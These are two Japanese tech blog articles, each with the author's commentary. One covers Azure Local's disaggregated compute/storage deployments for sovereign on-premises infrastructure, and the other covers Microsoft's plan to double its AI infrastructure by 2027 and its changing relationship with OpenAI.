クラウド一辺倒に見えたMicrosoftのインフラ戦略に、静かだが重要な変化が起きている。Azure Localが「分解型デプロイ（Disaggregated Deployments）」と呼ばれる新アーキテクチャを採用し、これまで現実的ではなかった数千ノード規模のオンプレミス主権インフラが手の届くところに来た。AI推論やアナリティクスワークロードをパブリッククラウドに出したくない——そういう要件を持つ組織にとって、これは見逃せないアップデートだ。 「分解型デプロイ」で何が変わったか 従来のAzure Stack HCI（現Azure Local）は、コンピュートとストレージを同一ノードに搭載するハイパーコンバージドインフラ（HCI）モデルが基本だった。スケールアップするには全ノードを一律に追加する必要があり、コンピュート過剰・ストレージ過剰の片方に無駄が出やすい構造だった。 今回の分解型デプロイはこの制約を取り払う。コンピュートノードとストレージノードを独立してスケールできる設計になり、ワークロードの実態に合わせたリソース投入が可能になった。GPU集約型のAI推論では「コンピュートを増やし、ストレージは据え置き」、大量データ処理では「ストレージを増やし、コンピュートは最小限」という選択肢が現実になる。 フォルトドメインモデルの強化とインフラプール 大規模化に伴う可用性設計も進化している。強化されたフォルトドメインモデルにより、ラック単位・電源系統単位での障害分離が明示的に制御できるようになった。これは単なる機能追加ではなく、エンタープライズ本番環境で数千ノードを運用する際に不可欠な前提条件だ。 インフラプール機能は、異なるスペックのノードを論理的なリソースプールとして統合管理する仕組みで、世代の異なるハードウェアを混在させながら運用するという現実的な課題に応える。「常に最新ハードウェアに統一」など大企業では難しい。この機能は地道だが実務上の価値が高い。 マルチラックネットワーキングで「数百→数千ノード」へ スケールの鍵を握るのがマルチラックネットワーキングだ。従来のAzure Localはシングルラックまたは少数ラック構成が前提で、事実上16ノード前後が現実的な上限だった。今回の拡張により、ラック間通信の帯域とレイテンシが最適化され、アーキテクチャを変えずに数千ノード構成まで水平展開できる。 「アーキテクチャ変更なしでスケール」というのは、実際の運用現場では非常に重要なメッセージだ。スケールアウトのたびに設計し直す手間は、運用チームにとって大きな負担であり、変更リスクでもある。 実務への影響——日本のエンジニア・IT管理者にとっての意味 データ主権要件の強い組織に刺さる 金融機関、医療機関、官公庁、防衛関連——日本にはパブリッククラウドへのデータ持ち出しに法的・規制的制約がある組織が少なくない。これまでこうした組織がAI推論基盤を構築しようとすると、NVIDIAのDGXクラスタをオンプレに建てるか、プライベートクラウドを自力構築するかという選択肢しかなかった。Azure Localがその隙間に入ってくる。 AI推論をオンプレで完結させるための具体的なヒント GPU搭載コンピュートノードと高容量ストレージノードを分離設計し、モデルのロード・推論・ログ保存のワークロード特性に合わせてスケーリング戦略を立てる フォルトドメインの設定は「電源系統ごと」「ラックごと」を最初から明示的に設計する。後付けでの変更は想定外の影響が出やすい インフラプールを使った世代混在運用では、古いノードをストレージ専用に降格させることで資産の延命と新規投資の抑制を両立できる Azure Arcとの統合を忘れずに。管理プレーンをAzure側に置きながらデータプレーンはオンプレというハイブリッド構成が、運用の現実解になる 規模感の参考値 数千ノード規模というのは、データセンター1棟丸ごとに近いスケールだ。中小企業の話ではない。ただし「数百ノードから始めて段階的に拡張できる」点は、大手製造業や通信キャリアが段階投資しやすいモデルになっている。 筆者の見解 Azure Localのこの方向性は、Microsoftが「プラットフォームの多様性」に対して誠実に向き合っている証拠だと思う。「全部クラウドへ」という力学だけで動いているわけではなく、オンプレミスを必要とする顧客の現実を直視したアーキテクチャ拡張だ。これは評価したい。 個人的に注目しているのは、AI推論ワークロードとの組み合わせだ。LLMの推論はGPUを大量に消費するが、そのGPUをパブリッククラウドでオンデマンドに使うと、大規模・継続的な処理では驚くほどのコストになる。「一定以上の推論量を持つ組織はオンプレGPUクラスタのほうが経済合理性がある」という議論は以前からあったが、その選択肢がAzure管理プレーンと統合された形で提供されるのは意味が大きい。Microsoftのエコシステムを離れる必要がない。 一方で、日本市場での普及に向けてはいくつか乗り越えるべき壁がある。導入・設計できるSIerが限られること、初期投資の大きさ、そして何より「クラウドかオンプレか」という二項対立で議論が止まりがちな日本のIT意思決定文化だ。技術の準備が整っても、組織の判断が追いつかないシナリオは珍しくない。 Microsoftにはこれだけのインフラ技術力がある。その力を、日本のエンタープライズが安心して手の届く形で届けるエコシステムの整備——そこにもう一段の力を入れてほしい、と応援する立場から率直に思う。 出典: この記事は Azure Local expands to sovereign-scale infrastructure with disaggregated deployments の内容をもとに、筆者の見解を加えて独自に執筆したものです。

Microsoftが、2027年までにAIインフラを現在の2倍に拡張する計画を正式に表明した。FY2026第3四半期だけで1GWものデータセンター容量を新規追加し、Azureを基軸とした生成AI需要への対応を本格化させている。この動きは単なるインフラ投資の話ではなく、OpenAIとの関係再定義とAzureの自立強化という、より大きな戦略転換の文脈で読む必要がある。 1GW追加という数字が意味するもの Microsoft Azureはすでにグローバルで80以上のリージョン、500超のデータセンター、190以上のPoP（ネットワーク拠点）、80万キロメートルを超える専用光ファイバーを擁する。この規模感は「クラウドサービス」というくくりをはるかに超えており、電力・ネットワーク・土地・冷却設備という物理レイヤーそのものが、AIの差別化要因になっている時代を反映している。 1GW追加というのは、大規模データセンター数十棟分に相当するスケールだ。重要なのは「需要が先か、インフラが先か」という問いへのMicrosoftの答えが、明確に「インフラが先」——需要を見越して先手を打つ姿勢であることだ。これはクラウドプロバイダーとしての成熟度を示すと同時に、AI競争での「遅れを取り戻す」という意志の表れでもある。 OpenAI独占の終焉と「Azureのオープン化」 Microsoftが長年築いてきたOpenAIとの独占的パートナーシップが、この1年で大きく変容しつつある。かつてはOpenAIモデルへの独占ライセンスをAzureへの大規模投資と引き換えに獲得していたが、その独占権は失効しつつある。OpenAI自身もNvidiaやAMD、Cerebrasと直接契約して独自のAIインフラ構築を進め始めた。 一見するとMicrosoftにとって不利な展開に見えるが、むしろAzureが「OpenAIのクラウド」から「マルチモデルが動作するオープンなAIプラットフォーム」へと脱皮する機会が生まれたと読むべきだろう。Azureでは今後、多様なモデルが共存し、企業が自社データで独自モデルを訓練・推論実行できる環境が整っていく。 実務への影響 日本のIT部門・エンジニアが今この動きから読み取るべきポイントは3つある。 ① Azure上でのモデル選択の自由度が広がる Azureはすでに複数のモデルをホストできる「Azure AI Foundry」を展開している。OpenAIモデルに縛られず、用途に応じて最適なモデルを選べる環境が整いつつある。エンタープライズのガバナンスを維持しながらAIを活用したい企業にとって、Azureはより現実的な選択肢になる。Microsoft Entra IDを軸とした認証・認可基盤の上でAIエージェントを安全に動かすアーキテクチャは、長期的に最も再現性が高い構成だ。 ② GPUアクセスの安定性が増す GPUが依然として入手困難な中、Azureのリソースを通じてAI推論・学習環境にアクセスするモデルは引き続き有効だ。インフラ倍増は、現在発生しているキャパシティ制限の緩和に直接寄与する。特に日本企業には「自社でGPUを買って管理する」よりも「Azureのマネージドサービスで動かす」ほうが、運用コスト・セキュリティ・スケーラビリティの観点から合理的な選択であることが多い。 ③ Copilot・AI製品の体験向上が期待できる インフラ強化の恩恵は、最終的にエンドユーザーの体験にも反映される。Copilotの応答速度やAzure OpenAI Serviceのキャパシティ改善という形で、日常業務での利用体験が向上していくはずだ。現時点でCopilotの応答品質に不満を感じているユーザーにとっても、インフラの充実は朗報だ。 筆者の見解 今回のインフラ倍増宣言は、数字の大きさよりも「戦略の転換点」として記憶されるべき発表だと思っている。 Microsoftは長らくOpenAIという看板を借りる形でGenAI競争を戦ってきた。それ自体は合理的な判断だったが、今後OpenAIとの独占が緩み、AzureがマルチモデルのプラットフォームとしてMaiaなど自社AIチップも含めた垂直統合に向かうとするなら、これは「本当のAzure時代の幕開け」になりうる。 Azureというプラットフォームの底力は疑っていない。80リージョン・80万kmのファイバー・500超のデータセンター——この物理基盤は一朝一夕には作れない本物の競争優位だ。これだけの資産を持っているのだから、AIモデルそのものの競争でも正面から勝負できる力は十分にある。もったいないと思う場面があるとすれば、むしろそのポテンシャルをまだ全開にできていないところだろう。 今後注目したいのは、MicrosoftがフロンティアモデルをAzureから提供する日が来るかどうかだ。Maiaチップを軸にした自社モデル開発への再参入は、現実的な未来として十分考えられる。それが実現したとき、Azureは「他社モデルを借りて動くプラットフォーム」から「自前のAIと最高のプラットフォームが一体化した強み」へと進化する。 日本のIT現場では、AIへの移行が「どのモデルを使うか」ではなく「どのプラットフォームで安全・効率的に動かすか」という問いに変わりつつある。その答えとしてAzureを選ぶ合理性は、今後もゆるぎないと考えている。インフラへの巨額投資は、その選択肢をより確かなものにする動きだ。 出典: この記事は Microsoft Committed To Doubling AI Infrastructure In Two Years の内容をもとに、筆者の見解を加えて独自に執筆したものです。